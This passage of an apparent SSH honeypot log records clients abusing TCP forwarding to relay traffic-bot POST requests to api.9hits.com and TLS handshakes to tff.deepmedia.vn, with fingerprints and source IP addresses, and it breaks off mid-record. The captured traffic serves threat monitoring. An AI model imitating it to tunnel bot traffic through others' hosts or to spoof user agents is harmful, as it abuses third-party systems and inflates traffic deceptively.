{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; MediaPad M5 Lite 8.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dk9pQEdhc1AkcVdTUCkpZw%3D%3Dd6m0g1TLBujjD36pildz0qcUDt34zeISKzNgPhW4uIZqcK09Aea9cZ9ul8rqrklC0Fn0VM4y%2F3lrNvLnId%2Fgx7cyfG1qsCkjcmcBpOtCue%2B0uhiU86PGk7IiBwJqGIdB%2B5E%2BjK%2FnF1RosEvoDctPILLcXHq44FCKeEkJljjRxowGGj21b3HXvzTx83Zi63tjxGJ8z9tRK9T46IjFhZmVWaVDKMVKSZ%2FfF2b3A8it14Pd1KweXLvvzyX059ggNvXvdHpJLmIuvNcghMkzQp9oTjyQ46zG3v6HcviDJLS1eEo%2BEtPeF0labWC8OIhknGgyaO%2BA0zrEpJ6dZjBjNlYGANrh%2FfCV1iaMGIVNgBTIDtaZvjY0%2BGuA5F9PNUE0wYBS4v0uxkmKHHUH9KZZKn%2FHpXwGhEBIS0C8DmsN1ekXbfyYTWHDgZeAt0d%2BLF6QOv4fEGjInLqokBMFMqei8Y0w4fqSiS72q%2Bcg8lraG6zd8RgZC8vitf85cVBFoVjRWE04duiybveR7NzM7XFGCvI9MwGQE%2FzyRHI6R8b4Pf3eqVxKm3zF6WwDrfVJT8zl%2BhiX%2FWA2n%2BGVauq2w%2FT6G0Hps36rxsP38tK%2B6rEYGN%2Fr8vEAVR0Fn9jcoCAwKyb5qzCOE2K3csnOwSes2QFIwHCXFH3MNGaUDEEqq%2FonlkEUhVLh4rou6A8QyEaAQjs3MD4SSeaTX4ZFPIEhD8aGqk5UdM6VQfRAf5h8EQf2BqkcUBD1nsyaZH%2F5A8Bi2gqkVKlCrLNTiiY73726q8vMKQ2ILP3mZaiFNJQBCCBWLTJt7CDYOw7435sRmGMg4b4wk58lZDc%2FhGSV91nc9gY1d7k70weGy75zqwpOqMfdQegmsS0%2B%2FSYEAl7BCVCPoY1lfaNWRpJgD%2FrGmCkrHvxJjUXRBeTfDiLSDDQ%2BCrL%2Fe8M1l%2F%2F7P7rFjLAF69NgjcZD%2BHDoHIGlpgEItQPuhodHfUFI4oCLG2nmpy6RmMtnlDdwY0LCin9reHItzfy1WyWpaQ3MEYWUlVSLzHdy8gdnvwOJ1bvJejcPq1SJX%2F%2FXuBxWmtF3pPmjbymiYDyYGZfb%2FNxQ'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9.0; MediaPad M5 Lite 8.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=dk9pQEdhc1AkcVdTUCkpZw%3D%3Dd6m0g1TLBujjD36pildz0qcUDt34zeISKzNgPhW4uIZqcK09Aea9cZ9ul8rqrklC0Fn0VM4y%2F3lrNvLnId%2Fgx7cyfG1qsCkjcmcBpOtCue%2B0uhiU86PGk7IiBwJqGIdB%2B5E%2BjK%2FnF1RosEvoDctPILLcXHq44FCKeEkJljjRxowGGj21b3HXvzTx83Zi63tjxGJ8z9tRK9T46IjFhZmVWaVDKMVKSZ%2FfF2b3A8it14Pd1KweXLvvzyX059ggNvXvdHpJLmIuvNcghMkzQp9oTjyQ46zG3v6HcviDJLS1eEo%2BEtPeF0labWC8OIhknGgyaO%2BA0zrEpJ6dZjBjNlYGANrh%2FfCV1iaMGIVNgBTIDtaZvjY0%2BGuA5F9PNUE0wYBS4v0uxkmKHHUH9KZZKn%2FHpXwGhEBIS0C8DmsN1ekXbfyYTWHDgZeAt0d%2BLF6QOv4fEGjInLqokBMFMqei8Y0w4fqSiS72q%2Bcg8lraG6zd8RgZC8vitf85cVBFoVjRWE04duiybveR7NzM7XFGCvI9MwGQE%2FzyRHI6R8b4Pf3eqVxKm3zF6WwDrfVJT8zl%2BhiX%2FWA2n%2BGVauq2w%2FT6G0Hps36rxsP38tK%2B6rEYGN%2Fr8vEAVR0Fn9jcoCAwKyb5qzCOE2K3csnOwSes2QFIwHCXFH3MNGaUDEEqq%2FonlkEUhVLh4rou6A8QyEaAQjs3MD4SSeaTX4ZFPIEhD8aGqk5UdM6VQfRAf5h8EQf2BqkcUBD1nsyaZH%2F5A8Bi2gqkVKlCrLNTiiY73726q8vMKQ2ILP3mZaiFNJQBCCBWLTJt7CDYOw7435sRmGMg4b4wk58lZDc%2FhGSV91nc9gY1d7k70weGy75zqwpOqMfdQegmsS0%2B%2FSYEAl7BCVCPoY1lfaNWRpJgD%2FrGmCkrHvxJjUXRBeTfDiLSDDQ%2BCrL%2Fe8M1l%2F%2F7P7rFjLAF69NgjcZD%2BHDoHIGlpgEItQPuhodHfUFI4oCLG2nmpy6RmMtnlDdwY0LCin9reHItzfy1WyWpaQ3MEYWUlVSLzHdy8gdnvwOJ1bvJejcPq1SJX%2F%2FXuBxWmtF3pPmjbymiYDyYGZfb%2FNxQ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:18.022979Z","src_ip":"23.175.50.51","session":"e90fea06bd63","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:18.438434Z","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:18.552786Z","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.056308Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JHtffTxle0h0di8%2BM3BrSg%3D%3DXaegQHBmCzh%2BOplX0vKhBSd2gbUzUGaHHHR8R8ifskJ42vzxIBodLBwcdTHF8hXfaT7bVLDTq3657p%2BQ%2BkZkrfMsxlPv3%2F6CshU5FAmhr7afwyfOeMJ6eG3o1QQVD0%2BavAOMwv7WdNsmsea4EctHDL7hKcXIVQwPCRH84CBjAUf1MvW32SGeTl5Axt%2FEKCXPpkfiaYeECDU3GDbtWqrNtGPNxtRUH%2FmdAswIn%2FJNuqGozOBSkiqgQ79Cx%2FDA2TlmfId7eKbuvDbx1KzGfIpSPWi4ycFGV9IQVLdgDh0FWupuk%2FeygeN3RzGXsjpk0e2x23Sc%2BaZSc1ppEfpe3CViHH42RFix6rsq71yVe%2B054lHO3PrtNc95YIhtADtqbAf5DMMi3mKgcRKEDu9%2FlYgMqj3dMgTYku1tFk%2BBxBKL%2Fk9a0gW0S9FXZ9iUoULwmAU%2FlrFTkfGUDuct1BwytgwXnSMfRvHlYNPvblfyKL4i5FxCoSXtGYSjyjBG520H5wWHwukyZQPPWGzssyZGwoK6ChIA6WuYlF8EZUO3%2F84nKg%2B6uD6a37wdTIEkmM7J3c1rlsPfy%2BgH%2FsEorIJQeqzI4SzcqBLpeMTDncL1h4pAISfEDzuwqNXPMgb0bFOhrndCb42fKiXpZNnDBFhS6JfYx8GL36u8tEHJBYaAP7%2Bz4hcWjjUiEnHyiqnV4Khdux52fY56Wbw7gSk0b5PDrJCs9zPvBFEMVckOXqFIOyTC4HovlCU5xzHfAfilxzXIQYXCJO3J7YeLucp83BoiIuwEkfdHK6yLGOkdzMC3zXi2HuPijZXjPjgbcGoGLY9hv0EfVF3DkGzLFsg9IN7XBfk9VdKCNfYGlAqQj%2FAhpxMXjyUeHztcFpN3H8DnX23RhH3CmghudUF7ynQPGwUXz2JU6aPLRrUcFo8NvVp5nnW9%2F06XYx2qmBszLc8S7AzAbwNHPuINOIejTtvpSpAGOpQIN9qHst41pUKm1aiFQ0szgeKyquy9fVea6GCIw9dFzgeI%2BUlEx0PR5%2B%2F68oM%2FXNFG%2BEPHc5%2BjLtDwMCr7YpW3NutFcrQ1ODAKETde%2BK60Tlc%2F'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JHtffTxle0h0di8%2BM3BrSg%3D%3DXaegQHBmCzh%2BOplX0vKhBSd2gbUzUGaHHHR8R8ifskJ42vzxIBodLBwcdTHF8hXfaT7bVLDTq3657p%2BQ%2BkZkrfMsxlPv3%2F6CshU5FAmhr7afwyfOeMJ6eG3o1QQVD0%2BavAOMwv7WdNsmsea4EctHDL7hKcXIVQwPCRH84CBjAUf1MvW32SGeTl5Axt%2FEKCXPpkfiaYeECDU3GDbtWqrNtGPNxtRUH%2FmdAswIn%2FJNuqGozOBSkiqgQ79Cx%2FDA2TlmfId7eKbuvDbx1KzGfIpSPWi4ycFGV9IQVLdgDh0FWupuk%2FeygeN3RzGXsjpk0e2x23Sc%2BaZSc1ppEfpe3CViHH42RFix6rsq71yVe%2B054lHO3PrtNc95YIhtADtqbAf5DMMi3mKgcRKEDu9%2FlYgMqj3dMgTYku1tFk%2BBxBKL%2Fk9a0gW0S9FXZ9iUoULwmAU%2FlrFTkfGUDuct1BwytgwXnSMfRvHlYNPvblfyKL4i5FxCoSXtGYSjyjBG520H5wWHwukyZQPPWGzssyZGwoK6ChIA6WuYlF8EZUO3%2F84nKg%2B6uD6a37wdTIEkmM7J3c1rlsPfy%2BgH%2FsEorIJQeqzI4SzcqBLpeMTDncL1h4pAISfEDzuwqNXPMgb0bFOhrndCb42fKiXpZNnDBFhS6JfYx8GL36u8tEHJBYaAP7%2Bz4hcWjjUiEnHyiqnV4Khdux52fY56Wbw7gSk0b5PDrJCs9zPvBFEMVckOXqFIOyTC4HovlCU5xzHfAfilxzXIQYXCJO3J7YeLucp83BoiIuwEkfdHK6yLGOkdzMC3zXi2HuPijZXjPjgbcGoGLY9hv0EfVF3DkGzLFsg9IN7XBfk9VdKCNfYGlAqQj%2FAhpxMXjyUeHztcFpN3H8DnX23RhH3CmghudUF7ynQPGwUXz2JU6aPLRrUcFo8NvVp5nnW9%2F06XYx2qmBszLc8S7AzAbwNHPuINOIejTtvpSpAGOpQIN9qHst41pUKm1aiFQ0szgeKyquy9fVea6GCIw9dFzgeI%2BUlEx0PR5%2B%2F68oM%2FXNFG%2BEPHc5%2BjLtDwMCr7YpW3NutFcrQ1ODAKETde%2BK60Tlc%2F'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.068885Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.072663Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\xfe\\x02\\x8b<+N\\x82R(p0R;\\n\\nA\\xde\\xe0\\xaa\\xd1M\\xc6@G\\x17\\x82\\x98\\x14\\xfcM\\xcf wL~\\x83W\\x87\\xc1R,\\xc91\\x0f\\xf1\\xab\\xc1\\x81\\xde\\x8c'\\xef\\xa0R\\x84\\x9d\\xda\\xfa\\xdc\\xc6\\x8c\\x97\\xfe\\x96\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 O\\xd7Ve\\x0e\\xac\\xa213!\\x92\\xb3\\x17\\x84\\x0cy*[G\\xbd\\xeaW\\xb3h\\xe1\\xd6\\x8d\\x0c\\x17zK\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03A\\xfe\\x02\\x8b<+N\\x82R(p0R;\\n\\nA\\xde\\xe0\\xaa\\xd1M\\xc6@G\\x17\\x82\\x98\\x14\\xfcM\\xcf wL~\\x83W\\x87\\xc1R,\\xc91\\x0f\\xf1\\xab\\xc1\\x81\\xde\\x8c'\\xef\\xa0R\\x84\\x9d\\xda\\xfa\\xdc\\xc6\\x8c\\x97\\xfe\\x96\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 O\\xd7Ve\\x0e\\xac\\xa213!\\x92\\xb3\\x17\\x84\\x0cy*[G\\xbd\\xeaW\\xb3h\\xe1\\xd6\\x8d\\x0c\\x17zK\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.075323Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.359995Z","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:43:19.641318Z","src_ip":"113.164.152.20","session":"6d336b63de78","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd1\\xb7\\x03\\xa0\\x88\\xa0\\xf1\\x9c+\\xdb\\xfa\\'\\xf9\\x7f\\xd5>\\xac.!Dr\\x90\\xd9\\xe5\\xf4\\xed\\x1e\\xd1\\x16A| \\x9eF\\xb5\\x95\\xb1U\\xb9g\\x8b\\xbe\\xb2[\\xe3\\xbd\\t\\x8e\\x1d\\xfb-\\xeeL\\x1f\\x1f\\xceQ\\x94F$ngM\\xf7\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1\\xda\\xd7\\x1e\\xfe?xn\\xf5\\x17\\x9b\\x08\\xcd\\xc9m\\x13\\x8eGd\\xec\\xd5\\xbf}(\\xdciO\\xb9\\x0fqNN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfd1\\xb7\\x03\\xa0\\x88\\xa0\\xf1\\x9c+\\xdb\\xfa\\'\\xf9\\x7f\\xd5>\\xac.!Dr\\x90\\xd9\\xe5\\xf4\\xed\\x1e\\xd1\\x16A| \\x9eF\\xb5\\x95\\xb1U\\xb9g\\x8b\\xbe\\xb2[\\xe3\\xbd\\t\\x8e\\x1d\\xfb-\\xeeL\\x1f\\x1f\\xceQ\\x94F$ngM\\xf7\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb1\\xda\\xd7\\x1e\\xfe?xn\\xf5\\x17\\x9b\\x08\\xcd\\xc9m\\x13\\x8eGd\\xec\\xd5\\xbf}(\\xdciO\\xb9\\x0fqNN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x